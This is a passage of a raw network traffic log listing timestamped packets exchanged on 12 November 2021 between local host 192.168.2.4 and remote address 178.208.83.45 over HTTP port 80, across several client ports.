Nov 12, 2021 22:23:13.848798990 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848814964 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848830938 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848864079 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.848884106 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848907948 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.848908901 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848932028 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.848936081 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848958015 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848978043 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848999977 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849020958 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849040985 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849061012 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849081993 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849102974 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849123955 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849143028 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849165916 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849184036 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849200010 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849215984 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849232912 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849250078 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849318981 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849338055 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849358082 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849380016 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849437952 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849455118 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849472046 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849487066 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849502087 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849518061 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849564075 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.849577904 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.871961117 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.871993065 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872010946 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872029066 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872045040 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872062922 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872086048 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872134924 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872251034 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872272968 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872313023 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.872327089 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.875251055 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.875339985 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.271544933 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.273036957 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.294332027 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.294445992 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.295691013 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.295835972 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.296639919 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.296825886 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.297132969 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.297383070 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.318993092 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319067001 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319174051 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.319669008 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319710016 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319783926 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319808960 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319874048 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.319880962 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.319940090 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.319956064 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342308998 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342338085 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342365026 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342375994 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342439890 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342458963 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342485905 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342525959 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342539072 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342544079 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342564106 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342580080 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342618942 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.342648029 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.342698097 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.344290972 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365005970 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365050077 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365065098 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365083933 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365098000 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365097046 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365119934 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365185976 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365207911 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365211010 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365259886 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365262985 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365351915 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365375042 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365397930 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365415096 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365420103 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365442038 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365453959 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365468979 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365473986 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365492105 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365494013 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365511894 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365520954 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365534067 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365552902 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365561008 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365592003 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365614891 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365658998 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365681887 CET	80	49792	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.365771055 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365792990 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365837097 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.365853071 CET	49792	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.761238098 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.784266949 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.785058022 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.786380053 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.786647081 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.786989927 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.787478924 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.808700085 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.808790922 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.808928967 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.809268951 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.809319019 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.809406996 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.809416056 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.809432030 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.809493065 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.809529066 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.809755087 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.809900045 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.832662106 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832678080 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832693100 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832700968 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832714081 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832766056 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.832777977 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.833225012 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.833235025 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.834769964 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.835196972 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.857237101 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857253075 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857271910 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857280016 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857292891 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857335091 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857379913 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857388973 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857491970 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857502937 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857516050 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857522964 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857536077 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857597113 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857652903 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857692003 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857706070 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.857732058 CET	80	49793	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:14.858414888 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858444929 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858448982 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858452082 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858453989 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858457088 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858459949 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858462095 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858469009 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858470917 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858474970 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858478069 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858479977 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858575106 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858580112 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858582973 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858586073 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:14.858588934 CET	49793	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.259609938 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.282604933 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.283781052 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.331141949 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.331315994 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.331679106 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.331758976 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.353610039 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.353624105 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.353988886 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354005098 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354012012 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354020119 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354028940 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354037046 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354046106 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354063988 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354067087 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354079962 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.354157925 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.354197979 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.354348898 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.376704931 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376723051 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376740932 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376753092 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376764059 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376774073 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376790047 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376801968 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376816034 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376827955 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376842022 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376872063 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376885891 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376897097 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.376897097 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376908064 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376923084 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376931906 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376945972 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376956940 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.376960993 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.376981974 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.376991987 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.390204906 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.390387058 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.399277925 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399295092 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399317026 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399327993 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399343014 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399354935 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399364948 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399375916 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399388075 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399404049 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399414062 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399427891 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399435997 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.399471045 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.399542093 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399555922 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399570942 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399581909 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399596930 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399609089 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399626017 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399638891 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399657011 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399668932 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399686098 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399697065 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399712086 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.399866104 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.412633896 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412657022 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412664890 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412678003 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412687063 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412698030 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412708044 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412724018 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412734985 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412765980 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412775993 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412791967 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412826061 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.412843943 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.421854019 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.421946049 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.421983957 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.422024965 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.422105074 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.422185898 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.422200918 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.422220945 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.424283981 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.424595118 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.808548927 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.810725927 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.830914021 CET	80	49794	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.831002951 CET	49794	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.833753109 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.833827972 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.834525108 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.834671974 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.834888935 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.835007906 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.856770039 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.856853008 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857086897 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857121944 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857165098 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857177019 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857187986 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857228041 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.857259989 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.857297897 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857310057 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857321978 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857332945 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857343912 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.857369900 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.857422113 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.879837990 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879856110 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879864931 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879875898 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879889011 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879899979 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.879940987 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880002022 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880017996 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880028963 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880031109 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880043030 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880053043 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880057096 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880078077 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880099058 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880103111 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880132914 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880158901 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880207062 CET	49795	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:15.880208969 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880223989 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880234957 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880248070 CET	80	49795	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:15.880259037 CET	80	49795	178.208.83.45	192.168.2.4
